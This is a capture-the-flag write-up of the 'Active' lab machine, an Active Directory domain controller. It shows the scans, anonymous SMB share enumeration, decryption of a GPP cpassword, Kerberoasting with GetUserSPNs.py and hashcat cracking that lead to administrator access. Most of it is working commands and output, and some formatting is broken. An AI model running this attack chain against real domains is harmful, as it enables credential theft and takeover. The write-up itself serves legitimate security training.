

# Active (Active Directory)



## Reconnaissance & Scanning

### Port Scanning

```
# cat ports
# Nmap 7.94 scan initiated Fri Aug 18 14:07:22 2023 as: nmap -n -sS -Pn -p- --
min-rate 5000 -oN ports 10.129.36.243
Warning: 10.129.36.243 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.36.243
Host is up (0.13s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfs
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49169/tcp open  unknown
```

```
49173/tcp open  unknown
49174/tcp open  unknown
```

## Version and Default scripts scan

```
# cat version
# Nmap 7.94 scan initiated Fri Aug 18 14:08:29 2023 as: nmap -sCV -T4 -oN version
-p 53,88,135,139,389,445,464,594,636,3268,3269,5722,9389,47001 10.129.36.243
Nmap scan report for 10.129.36.243
Host is up (0.071s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server
2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-
18 18:08:37Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
594/tcp   closed  tpip
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc        Microsoft Windows RPC
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE:
cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_   Message signing enabled and required
| smb2-time:
```

```
| date: 2023-08-18T18:09:31
|_ start_date: 2023-08-18T17:23:48
```

## Vulnerability assessment & Exploitation

Run smbmap without credentials.

```
# smbmap -H 10.129.36.243
[+] IP: 10.129.36.243:445      Name: active.htb

      Disk                               Permissions
Comment
-----
ADMIN$                                NO ACCESS
Remote Admin
C$                                    NO ACCESS
Default share
IPC$                                  NO ACCESS
Remote IPC
NETLOGON                             NO ACCESS
Logon server share
Replication                          READ ONLY
SYSVOL                               NO ACCESS
Logon server share
Users                                NO ACCESS
```

```
# smbmap -H 10.129.36.243 -R
[+] IP: 10.129.36.243:445      Name: active.htb

      Disk                               Permissions
Comment
-----
ADMIN$                                NO ACCESS
Remote
C$                                    NO ACCESS
Default
IPC$                                  NO ACCESS
Remote
NETLOGON                             NO ACCESS
Logon
Replication                          READ ONLY
.\Replication\*
```

```

dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
dr--r--r--      0 Sat Jul 21 06:37:44 2018  active.htb
.\Replication\active.htb\*
dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
dr--r--r--      0 Sat Jul 21 06:37:44 2018  DfsrPrivate
dr--r--r--      0 Sat Jul 21 06:37:44 2018  Policies
dr--r--r--      0 Sat Jul 21 06:37:44 2018  scripts
.\Replication\active.htb\DfsrPrivate\*
dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
dr--r--r--      0 Sat Jul 21 06:37:44 2018
ConflictAndDeleted
dr--r--r--      0 Sat Jul 21 06:37:44 2018  Deleted
dr--r--r--      0 Sat Jul 21 06:37:44 2018  Installing
.\Replication\active.htb\Policies\*
dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
dr--r--r--      0 Sat Jul 21 06:37:44 2018  {31B2F340-016D-
11D2-945F-00C04FB984F9}
dr--r--r--      0 Sat Jul 21 06:37:44 2018  {6AC1786C-016F-
11D2-945F-00C04fB984F9}
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\*
dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
fr--r--r--      23 Sat Jul 21 06:38:11 2018  GPT.INI
dr--r--r--      0 Sat Jul 21 06:37:44 2018  Group Policy
dr--r--r--      0 Sat Jul 21 06:37:44 2018  MACHINE
dr--r--r--      0 Sat Jul 21 06:37:44 2018  USER
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\Group Policy\*
dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
fr--r--r--      119 Sat Jul 21 06:38:11 2018  GPE.INI
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\*
dr--r--r--      0 Sat Jul 21 06:37:44 2018  .
dr--r--r--      0 Sat Jul 21 06:37:44 2018  ..
dr--r--r--      0 Sat Jul 21 06:37:44 2018  Microsoft
dr--r--r--      0 Sat Jul 21 06:37:44 2018  Preferences
fr--r--r--      2788 Sat Jul 21 06:38:11 2018  Registry.pol

```

```

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Microsoft\*
dr--r--r--          0 Sat Jul 21 06:37:44 2018    .
dr--r--r--          0 Sat Jul 21 06:37:44 2018    ..
dr--r--r--          0 Sat Jul 21 06:37:44 2018    Windows NT
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Preferences\*
dr--r--r--          0 Sat Jul 21 06:37:44 2018    .
dr--r--r--          0 Sat Jul 21 06:37:44 2018    ..
dr--r--r--          0 Sat Jul 21 06:37:44 2018    Groups
.\Replication\active.htb\Policies\{6AC1786C-016F-11D2-945F-
00C04FB984F9}\*
dr--r--r--          0 Sat Jul 21 06:37:44 2018    .
dr--r--r--          0 Sat Jul 21 06:37:44 2018    ..
fr--r--r--          22 Sat Jul 21 06:38:11 2018    GPT.INI
dr--r--r--          0 Sat Jul 21 06:37:44 2018    MACHINE
dr--r--r--          0 Sat Jul 21 06:37:44 2018    USER
.\Replication\active.htb\Policies\{6AC1786C-016F-11D2-945F-
00C04FB984F9}\MACHINE\*
dr--r--r--          0 Sat Jul 21 06:37:44 2018    .
dr--r--r--          0 Sat Jul 21 06:37:44 2018    ..
dr--r--r--          0 Sat Jul 21 06:37:44 2018    Microsoft
.\Replication\active.htb\Policies\{6AC1786C-016F-11D2-945F-
00C04FB984F9}\MACHINE\Microsoft\*
dr--r--r--          0 Sat Jul 21 06:37:44 2018    .
dr--r--r--          0 Sat Jul 21 06:37:44 2018    ..
dr--r--r--          0 Sat Jul 21 06:37:44 2018    Windows NT
SYSVOL              NO ACCESS
Logon
Users              NO ACCESS

```

Run smbclient to check the active.htb directory. And download the file.

```

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\machine\preferences\groups\> get groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\machine\preferences\groups\groups.xml of size 533 as groups.xml
(3.2 KiloBytes/sec) (average 3.2 KiloBytes/sec)

```

If we open the file we will find a cpassword and an username.

To decrypt the cpassword we will use [gpp-decrypt](#).

\_\_\_\_\_  
 / \_`/ / \_\ / \_\\_\_\_// \_ / / -\_)/ \_/ / \_/ / / / / \_\\_\_\_  
 \, / / .\_/ / .\_/ \, / \/ \/ / / \, / / .\_\ \\_  
 /\_\_\_/ /\_ /\_ /\_\_\_/ /\_ /\_

Now we have the credentials `svc_tgs:GPPstillStandingStrong2k18`. We are not able to login to the winrm service, so we will check the smb port.

```
# smbmap -H active.htb -u svc_tgs -p GPPstillStandingStrong2k18  
[+] IP: active.htb:445   Name: unknown
```

	Disk	Permissions
Comment		
	----	------
	ADMIN\$	NO ACCESS
Remote		
	C\$	NO ACCESS
Default		
	IPC\$	NO ACCESS
Remote		
	NETLOGON	READ ONLY
Logon		
	Replication	READ ONLY

SYSVOL	READ ONLY
Logon	
Users	READ ONLY

Login with smbclient.

```
# smbclient //active.htb/Users -U svc_tgs
Password for [WORKGROUP\svc_tgs]:
Try "help" to get a list of possible commands.
smb: \> ls

.                DR            0   Sat Jul 21 10:39:20 2018
..               DR            0   Sat Jul 21 10:39:20 2018
Administrator    D            0   Mon Jul 16 06:14:21 2018
All Users        DHSrn        0   Tue Jul 14 01:06:44 2009
Default          DHR          0   Tue Jul 14 02:38:21 2009
Default User     DHSrn        0   Tue Jul 14 01:06:44 2009
desktop.ini      AHS          174  Tue Jul 14 00:57:55 2009
Public           DR            0   Tue Jul 14 00:57:55 2009
SVC_TGS          D            0   Sat Jul 21 11:16:32 2018
```

The flag is in `/users/svc_tgs/desktop`

## Privilege Escalation

Now that we got valid credentials for the domain, we can try to perform a kerberoasting attack with `GetUserSPNs.py`.

```
# python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py
active.htb/svc_tgs:GPPstillStandingStrong2k18 -outputfile admin.hash
```

We can try to crack the hash with `hashcat`

```
# hashcat -m 13100 admin.hash /usr/share/wordlists/rockyou.txt -w 3 -O

....

<SNIP>:Ticketmaster1968

....
```

Login to the smb get the root flag.

```
# smbclient //active.htb/Users -U administrator
Password for [WORKGROUP\administrator]:
```

```
....
```

```
smb: \administrator\desktop\> l
```

.	DR	0	Thu Jan 21 11:49:47 2021
..	DR	0	Thu Jan 21 11:49:47 2021
desktop.ini	AHS	282	Mon Jul 30 09:50:10 2018
root.txt	AR	34	Fri Aug 18 13:24:45 2023

```
smb: \administrator\desktop\> get root.txt
```